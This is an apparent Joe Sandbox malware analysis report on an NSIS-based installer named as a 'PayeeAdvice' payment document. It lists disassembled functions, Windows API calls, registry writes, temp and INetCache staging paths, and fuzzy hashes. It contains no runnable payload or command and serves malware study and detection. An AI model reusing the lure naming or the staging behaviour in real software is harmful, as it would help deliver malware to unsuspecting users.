Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 4283519449-4061870977
Opcode ID: 3805bf358c9b933ceb9c43f9a1800ffe54feec6963a992abd6a8fc7691be1b71
Instruction ID: 6efc7070ea8ae83888cd6b0cd51e2fb70848d81e0c864f736895acd6ba0a04dc
Opcode Fuzzy Hash: 3805bf358c9b933ceb9c43f9a1800ffe54feec6963a992abd6a8fc7691be1b71
Instruction Fuzzy Hash: 6251C271901208ABDB20AF65DD85BAE7FA8EB05355F10807BF904B62D5DB7C8E408B9D

Function 004062B9 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004063FA
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 0040640D
SHGetSpecialFolderLocation.SHELL32(00405336,007924D8,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 00406449
SHGetPathFromIDListW.SHELL32(007924D8,Call), ref: 00406457
CoTaskMemFree.OLE32(007924D8), ref: 00406462
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406488
lstrlenW.KERNEL32(Call,00000000,007A0F00,?,00405336,007A0F00,00000000), ref: 004064E0

Strings

Call, xrefs: 004062E3, 004063BE, 004063C5, 004063C9, 004063E3, 004063E4, 004063F9, 0040640C, 00406428, 00406453, 00406487, 0040648D, 004064A9, 004064BC, 004064D9, 004064DF, 004064EB, 0040651E
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406482
Software\Microsoft\Windows\CurrentVersion, xrefs: 004063CA

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 6a252e7cfe045f166905b36660472e7fa3fa999564b1f12889f2762da509e16d
Instruction ID: 404aa91c63c37ecb41bc9170075bd2a6d7acde9a16fb3e5716bfaea1f71b207e
Opcode Fuzzy Hash: 6a252e7cfe045f166905b36660472e7fa3fa999564b1f12889f2762da509e16d
Instruction Fuzzy Hash: C0613671A00511ABDF209F24DD40ABE37A5AF45314F12813FE943BA2D0EB3C99A1CB5D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket,?,?,00000031), ref: 004017D5

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,?,0000000A), ref: 004062A4

Part of subcall function 004052FF: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
Part of subcall function 004052FF: lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,74DF23A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
Part of subcall function 004052FF: lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,74DF23A0), ref: 0040535A
Part of subcall function 004052FF: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
Part of subcall function 004052FF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
Part of subcall function 004052FF: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
Part of subcall function 004052FF: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

Strings

C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsj38E6.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket$C:\Users\user\AppData\Local\Temp\nsj38E6.tmp$C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll$Call
API String ID: 1941528284-499801290
Opcode ID: 1aff087000cc3e25554f0ed6ab8061021059107db776a0829eeff450dd20a923
Instruction ID: 2a95d3c8b727dc51f4ea131d05094547f585338353aa12d45a2270be549af1c7
Opcode Fuzzy Hash: 1aff087000cc3e25554f0ed6ab8061021059107db776a0829eeff450dd20a923
Instruction Fuzzy Hash: C141B471910514BACF107BA5DD45DAF3A79EF45328B20823FF512B10E1DB3C4A519B6E

Function 00406601 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
wsprintfW.USER32 ref: 00406653
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 00406667

Strings

UXTHEME, xrefs: 0040660A
\, xrefs: 00406629
%s%S.dll, xrefs: 0040664D

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 65f2176863960af248fb2a7cbd18121a9a3b282edca47cb762b3bdaa43f9a997
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 14F0217050121967CB10AB68DD0DFDB376CA700304F10447AB547F10D1EBBDDA65CB98

Function 00403116 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403180
GetTickCount.KERNEL32 ref: 00403204
MulDiv.KERNEL32(7FFFFFFF,?,00000000), ref: 0040322D
wsprintfW.USER32 ref: 00403240

Strings

... %d%%, xrefs: 0040323A

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: e5ebdf3a3088b3206fd1fd2d7a2307a5c5a9c69b21f930b1953cca8bb268646f
Instruction ID: 204c6f4639eb8c290f7f343d6ac391169eef919077521cdf394e4ce58078bb87
Opcode Fuzzy Hash: e5ebdf3a3088b3206fd1fd2d7a2307a5c5a9c69b21f930b1953cca8bb268646f
Instruction Fuzzy Hash: 7A518931900219EBCB10DF65DA84A9F7FA8AB44366F1441BBED14B62C0D7789F50CBA9

Function 004057CE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405811
GetLastError.KERNEL32 ref: 00405825
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040583A
GetLastError.KERNEL32 ref: 00405844

Strings

C:\Users\user\Desktop, xrefs: 004057CE

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-224404859
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 32cc50e607dd20b61f2ed470817bc290d965520901a5db6b5155953f1fdd03ed
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: B1010872C10619DADF00AFA1C9447EFBBB8EF14355F00803AD945B6281E77896188FA9

Function 00405DBC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405DDA
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",0040336A,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6), ref: 00405DF5

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 00405DBC
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DC1, 00405DC5
nsa, xrefs: 00405DC9

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1598288092
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 33897e7ea40e9bcc5f45ceb9d35bf1368e2cdd1c67b8b6f6c5069f2428d8a25f
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: D4F03076610304FBEB009F69DD05F9FBBB8EB95710F10803AED40E7250E6B1AA54CBA4

Function 7340177B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 73401B63: GlobalFree.KERNEL32(?), ref: 73401DB6
Part of subcall function 73401B63: GlobalFree.KERNEL32(?), ref: 73401DBB
Part of subcall function 73401B63: GlobalFree.KERNEL32(?), ref: 73401DC0

GlobalFree.KERNEL32(00000000), ref: 73401829
FreeLibrary.KERNEL32(?), ref: 734018AF
GlobalFree.KERNEL32(00000000), ref: 734018D4

Part of subcall function 73402356: GlobalAlloc.KERNEL32(?,?), ref: 73402387

Part of subcall function 73402728: GlobalAlloc.KERNEL32(?,00000000,?,?,00000000,?,?,?,734017FA,00000000), ref: 734027F8

Part of subcall function 734015C6: lstrcpyW.KERNEL32(?,73404020,00000000,734015C3,?,00000000,73401753,00000000), ref: 734015DC

Strings

, xrefs: 734018B5

Memory Dump Source

Source File: 00000000.00000002.1922689221.0000000073401000.00000020.00000001.01000000.00000004.sdmp, Offset: 73400000, based on PE: true

Associated: 00000000.00000002.1922572339.0000000073400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922818095.0000000073403000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1922990212.0000000073405000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 1185c6aad9a85198134283615f65b026970b02bb940d64f88e882640f2ab43dc
Instruction ID: 4a8c9bf733c8e9bc0cfc8285a98afb55880c76fd961fe66f100ef9c57dbb3452
Opcode Fuzzy Hash: 1185c6aad9a85198134283615f65b026970b02bb940d64f88e882640f2ab43dc
Instruction Fuzzy Hash: D641947A7003449BDB0D9F7099C4B9537FCBB04314F1845F9E94BAB2C6EB7882448B68

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,00000023,?,00000000,00000002,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsj38E6.tmp, xrefs: 00402420, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsj38E6.tmp
API String ID: 2655323295-1881265558
Opcode ID: e4c63a464812e31c68653a2d561002cfdcec3cddba2e48d4c9e2fa9e1af61684
Instruction ID: 82080937d165882f0efaaa77ae0bb3c7350c3cd8b3028382441b60bd8f3f090b
Opcode Fuzzy Hash: e4c63a464812e31c68653a2d561002cfdcec3cddba2e48d4c9e2fa9e1af61684
Instruction Fuzzy Hash: 60118171D00104BEEF10AFA5DE89EAEBAB4EB44754F11803BF504B71D1DBB88D419B28

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405C17: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,C:\Users\user\AppData\Local\Temp\nsj38E6.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C42

GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000,?), ref: 0040161A

Part of subcall function 004057CE: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405811

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket,?,00000000,?), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.1874541191.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1874518759.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874570265.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874604836.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875179689.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket
API String ID: 1892508949-3575896986
Opcode ID: 54df887ae09462074095b126549abc23ab63c7b2394cf9b5eb7ef3472ce62764
Instruction ID: 83f66e59323efd8676d207054edf3c08df55f1f8244358cc2c8da33562713246
Opcode Fuzzy Hash: 54df887ae09462074095b126549abc23ab63c7b2394cf9b5eb7ef3472ce62764
Instruction Fuzzy Hash: 1811D031504500EBCF20BFA1CD0199E36A0EF15329B28493FFA45B22F1DB3E89919A5E

Function 00405273 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004052A2
CallWindowProcW.USER32(?,?,?,?), ref: 004052F3

